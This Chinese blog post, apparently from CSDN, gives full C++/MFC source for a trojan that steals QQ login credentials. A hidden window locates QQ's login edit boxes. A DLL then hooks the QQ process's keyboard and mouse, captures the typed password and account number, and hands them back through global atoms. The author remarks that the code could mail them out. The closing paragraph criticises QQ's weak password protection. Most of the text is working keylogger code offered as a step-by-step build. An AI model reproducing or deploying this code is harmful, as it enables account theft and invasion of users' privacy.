QQ木马分析

新版QQ客户端发布了,除了在界面上焕然一新外,QQ对密码的保护是否健全,是否真正维护了用户的合法权益呢?带着这个疑问,我做了一些尝试,结果很让人失望,通过很简单的编程手段即可编写一个盗取QQ密码的程序。下面讲述一下实现方法(不要怪我助纣为虐,毕竟,是只羊就别指望没有狼来吃你),同时这个程序也是一个很有价值的实例,其中包括钩子函数、DLL的数据共享、进程间通讯等。
   程序包括两部分: DLL部分实现钩子函数,EXE部分实现辅助功能。
   一、   EXE部分。
   利用向导建立一个对话框实例,取名“QQGPS”。因为程序运行时不应有界面,所以要在这个实例的基础上进行改造。
删除对话框模板,对话框类的.h文件、.cpp文件及包含相应文件的#include语句。
   利用向导从基类“CFrameWnd”派生新类“CMainWnd”。
   添加函数BOOL CreateFrame();其代码如下:
BOOL CMainWnd::CreateFrame()
{
   RECT rt={0,0,1,1};
   BOOL ret=FALSE;
   ret=CWnd::CreateEx(0,AfxRegisterWndClass(0),
   "yafi",~WS_VISIBLE,rt,0,0);//创建一个不可见的窗口。
   SetTimer(0,500,NULL);//创建定时器
   return ret;
}
   改写原有的CQQGPSApp::InitInstance函数。
BOOL CQQGPSApp::InitInstance()
{
   CMainWnd*pWnd=new CMainWnd();
   pWnd->CreateFrame();
   m_pMainWnd=pWnd;
   return TRUE;// 返回TRUE,开始消息循环。
}
   到现在为止,已经生产出了一个框架,拥有消息处理功能,没有界面。下面再添加对定时器的消息处理函数。在QQ运行时该函数将查找其上面的两个编辑框的窗口句柄,并将其传递给DLL。
void CMainWnd::OnTimer(UINT nIDEvent)
{
   // TODO: Add your message handler code here and/or call default
   HWND hdlg=NULL,handle1=NULL,handle2=NULL,hID;
   BOOL stop=0;
   CString title;
   int num=0;
   while(!stop&&num<50)
   {
      handle1=::FindWindow("#32770",NULL);
      if(handle1!=NULL)
      {
         handle2=::FindWindowEx(handle1,NULL,"Static",NULL);
         ::GetWindowText(handle2,title.GetBufferSetLength(20),20);
         if(title=="QQ号码:")
         {
            stop=TRUE;
            hdlg=handle1;
         }
      }
      num++;
   }
   if(hdlg!=NULL) //此为QQ对话框的窗口句柄
   {
      stop=0;
      num=0;
      while(!stop&&num<50)
      {
         handle1=::FindWindowEx(hdlg,NULL,"ComboBox",NULL);
         if(handle1!=0)
         {
            handle2=::FindWindowEx(handle1,NULL,"Edit",NULL);
            if(handle2!=NULL)
            {
               hID=handle2;//此为号码编辑框窗口句柄
               stop=TRUE;
            }
         }
      }
      if(stop)
      {
         stop=0;
         num=0;
         while(!stop&&num<50)
         {
            handle1=::FindWindowEx(hdlg,NULL,"Edit",NULL);
            if(handle1!=0)//此为密码编辑框窗口句柄
            {
               stop=TRUE;
               if(HookStart(this->m_hWnd ,handle1,hID))//DLL的导出函数
               KillTimer(0);//发现QQ运行,启动钩子函数,关闭定时器
            }
         }
      }
   }
   CFrameWnd::OnTimer(nIDEvent);
}

二、   DLL部分。
   使用向导生成MFC AppWizard (DLL)实例,取名“QQGPD”。在头文件中添加代码。
#define QQGPD_API __declspec(dllexport)
QQGPD_API BOOL HookStart(HWND hWnd=NULL,HWND hWndCtlPW=NULL,HWND hWndCtlID=NULL);//导出函数,挂接构子
QQGPD_API BOOL HookStop();//导出函数,卸载钩子
   在cpp文件顶端添加代码:
#pragma data_seg("Shared")
HHOOK g_hhookKey=NULL;
HHOOK g_hhookMouse=NULL;
HWND g_hWnd=NULL;
HWND g_hWndCtlPW=NULL;
HWND g_hWndCtlID=NULL;
#pragma data_seg()

#pragma comment(linker,"/SECTION:Shared,RWS")

CString g_strKey,g_strID;//DLL全局变量分别用于接收密码及号码
HINSTANCE g_hinstDll=NULL;// DLL全局变量记载DLL的实例句柄
   这里有几行代码很奇怪#pragma data_seg("Shared") #pragma data_seg() #pragma comment(linker,"/SECTION:Shared,RWS") 他们的作用是使前两条语句之间的变量成为所有实例的共享数据。必须对他们赋初值。
   详细说明一下,若他们为全局变量,当程序“QQGPS”运行时,“QQGPS”进程将加载DLL,并将三个参数传递给DLL。QQ客户端程序运行时,由于被挂接了钩子,也将加载DLL。好了,现在有两个DLL的实例,分别运行于两个不同进程的地址空间,在“QQGPS”进程中给DLL传递了参数,而在QQ客户端被加载的DLL的相应变量并未改变,事实上他们的值将是初始化时对他们赋的值。
   以上方法同样适用于可执行文件,使多个可执行文件共享一个变量。
   接下来添加导出函数:
BOOL HookStart(HWND hWnd ,HWND hWndCtlPW,HWND hWndCtlID)//挂结钩子
{
   if(g_hhookKey!=NULL││g_hhookMouse!=NULL)
      return 0;
   g_hWnd=hWnd;//主窗口句柄
   g_hWndCtlPW=hWndCtlPW;//密码编辑框窗口句柄
   g_hWndCtlID=hWndCtlID;//号码编辑框窗口句柄
   g_hhookKey=::SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyHookProc,g_hinstDll,::GetWindowThreadProcessId(hWndCtlPW,NULL));//为QQ挂接键盘钩子
   g_hhookMouse=::SetWindowsHookEx(WH_MOUSE,(HOOKPROC)MouseHookProc,g_hinstDll,::GetWindowThreadProcessId(hWndCtlPW,NULL));// 为QQ挂接鼠标钩子
   return (g_hhookKey!=NULL)&&(g_hhookMouse!=NULL);
}
BOOL HookStop()//卸载钩子
{
   BOOL ret1=0,ret2=0;
   if(g_hhookKey!=NULL)
      ret1=::UnhookWindowsHookEx(g_hhookKey);
   if(g_hhookMouse!=NULL)
      ret2=::UnhookWindowsHookEx(g_hhookMouse);
   g_hhookKey=NULL;
   g_hhookMouse=NULL;
   return ret1&&ret2;
}
   下面两个为相应的钩子函数。
LRESULT MouseHookProc(int nCode,WPARAM wParam,LPARAM lParam)//鼠标钩子函数在点击“登录”按钮时发送信息
{
   MOUSEHOOKSTRUCT *MouseInfo=(MOUSEHOOKSTRUCT*)lParam;
   CString title,str;
   CWnd wnd;
   if((nCode==HC_ACTION)&&(wParam==WM_LBUTTONDOWN))
   {
      wnd.Attach(MouseInfo->hwnd);
      wnd.GetWindowText(title);
      wnd.Detach();
      if(title=="登录")
      {
         if(g_strKey.GetLength()>0)
         {   
            ::SendMessage(g_hWndCtlID,WM_GETTEXT,20,(LPARAM)g_strID.GetBufferSetLength(20));//获取号码
            str="号码:";
            str+=g_strID;
            str.ReleaseBuffer();
            str+="密码:";
            str+=g_strKey;
            ATOM atom=::GlobalAddAtom(str.GetBuffer(0));//使用全局原子表进行进程间通讯
            ::PostMessage(g_hWnd,WM_GETPW,(WPARAM)atom,1);
         }else
         {
            ::PostMessage(g_hWnd,WM_GETPW,0,0);
         }
         g_strKey="/0";
      }else if(title=="取消")
      {
         ::PostMessage(g_hWnd,WM_GETPW,0,0);
         g_strKey="/0";
      }else if(title=="注册向导")
      {
         ::PostMessage(g_hWnd,WM_GETPW,0,0);
         g_strKey="/0";
      }
   }
   return ::CallNextHookEx(g_hhookMouse,nCode,wParam,lParam);
}
LRESULT KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam)//键盘钩子函数,拦截发送给密码框的键盘信息
{
   BOOL bCap=((::GetKeyState(VK_CAPITAL)&0x01)!=0);
   BOOL bShift=((::GetKeyState(VK_SHIFT)&0x8000)!=0);
   char ch=1;
   CString str;
   if((nCode==HC_ACTION)&&(lParam&0x40000000)&&(::GetFocus()==g_hWndCtlPW))//只在按键盘(而非松开时)并且密码编辑框获得光标时执行以下代码
   {
      if((wParam==0x08)&&(g_strKey.GetLength()>0))//Backspace
      {
         g_strKey.Delete(g_strKey.GetLength()-1,1);
      }else if(wParam>=0x41&&wParam<=0x5A)// a——z或A——Z
      {
         ch=::MapVirtualKey(wParam,2)&0xff;
         g_strKey+=(char)(bCap^bShift ? ch : ch+32);
      }else if(wParam>=0x30&&wParam<=0x39)// 0——9
      {
         ch=::MapVirtualKey(wParam,2)&0xff;
         if(!bShift)
            g_strKey+=ch;
         else
         {
            switch(ch)
            {
            case '1':
               g_strKey+='!';
               break;
            case '2':
               g_strKey+='@';
               break;
            case '3':
               g_strKey+='#';
               break;
            case '4':
               g_strKey+='$';
               break;
            case '5':
               g_strKey+='%';
               break;
            case '6':
               g_strKey+='^';
               break;
            case '7':
               g_strKey+='&';
               break;
            case '8':
               g_strKey+='*';
               break;
            case '9':
               g_strKey+='(';
               break;
            case '0':
               g_strKey+=')';
               break;
            }
         }
      }else if((wParam>=0x60&&wParam<=0x69)&&((::GetKeyState(VK_NUMLOCK)&0x01)!=0))//小键盘0——9
      {
         ch=::MapVirtualKey(wParam,2)&0xff;
         g_strKey+=ch;
      }else if(wParam==0x20)//空格
      {
         g_strKey+=' ';
      }else if(wParam==0xBA)
      {
         if(!bShift)
            g_strKey+=';';
         else
            g_strKey+=':';
      }else if(wParam==0xBB)
      {
         if(!bShift)
            g_strKey+='=';
         else
            g_strKey+='+';
      }else if(wParam==0xBC)
      {
         if(!bShift)
            g_strKey+=',';
         else
            g_strKey+='<';
      }else if(wParam==0xBD)
      {
         if(!bShift)
            g_strKey+='-';
         else
            g_strKey+='_';
      }else if(wParam==0xBE)
      {
         if(!bShift)
            g_strKey+='.';
         else
            g_strKey+='>';
      }else if(wParam==0xBF)
      {
         if(!bShift)
            g_strKey+='/';
         else
            g_strKey+='?';
      }else if(wParam==0xC0)
      {
         if(!bShift)
            g_strKey+='`';
         else
            g_strKey+='~';
      }else if(wParam==0xDB)
      {
         if(!bShift)
            g_strKey+='[';
         else
            g_strKey+='{';
      }else if(wParam==0xDC)
      {
         if(!bShift)
            g_strKey+='/';
         else
            g_strKey+='│';
      }else if(wParam==0xDD)
      {
         if(!bShift)
            g_strKey+=']';
         else
            g_strKey+='}';
      }else if(wParam==0xDE)
      {
         if(!bShift)
            g_strKey+=(char)0x2e;
         else
            g_strKey+=(char)0x22;
      }
      ::SendMessage(g_hWndCtlID,WM_GETTEXT,20,(LPARAM)g_strID.GetBufferSetLength(20));
   }
   if((nCode==HC_ACTION)&&(lParam&0x40000000))
   {
      if(wParam==0x0D)// ENTER键
      {
         if(g_strKey.GetLength()>0)
         {
            str="号码:";
            str+=g_strID;
            str.ReleaseBuffer();
            str+="密码:";
            str+=g_strKey;
            ATOM atom=::GlobalAddAtom(str.GetBuffer(0)); //使用全局原子表进行进程间通讯。
            ::PostMessage(g_hWnd,WM_GETPW,(WPARAM)atom,1);
         }
         else
            ::PostMessage(g_hWnd,WM_GETPW,0,0);
         g_strKey="";
      }
   }
   return ::CallNextHookEx(g_hhookKey,nCode,wParam,lParam);
}
   最后一步了,实现进程间消息的发送。
   在DLL的头文件中添加代码#define WM_GETPW WM_APP+1,在“QQGPS”的“CMainWnd”类中添加相应的消息处理函数,以处理WM_GETPW消息。
LRESULT CMainWnd::GetPW(WPARAM wParam,LPARAM lParam)
{
   CString str;
   if(lParam)
   {
      ::GlobalGetAtomName((ATOM)wParam,str.GetBufferSetLength(80),80);//题外话,利用原子表传送数据,对于相同的字符串,原字表名字符不分大小写。
      ::GlobalDeleteAtom((ATOM)wParam);
      MessageBox(str);//以对话框的形式显示QQ号码及密码。若替换以函数,则可将密码发送至指定邮箱。
   }
   return HookStop();//卸载钩子
}
   好了,正确链接头文件及库文件,运行可执行程序。打开QQ,输入号码及密码,击“ENTER”或鼠标点击“登录”。如果一切正确,就会弹出一个对话框显示QQ号码及密码。
   作为国内用户群最为广大的实时网络通讯工具,QQ对密码的保护机制太脆弱了。当然,讯腾使用了一些防窃密机制,例如使用获取号码编辑框字符的方法就无法获取密码编辑框字符。然而,对“钩子”似乎没有做任何防备。其实,QQ只需要为自身挂接一个WH_DEBUG类型的钩子,以上方法就失效了,很可惜,讯腾没有这样做。虽然通过手机申请密码保护可从新获得被盗密码。个人隐私泄漏,也总不是件令人愉快的事。希望讯腾继续加强对密码的保护机制。   

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值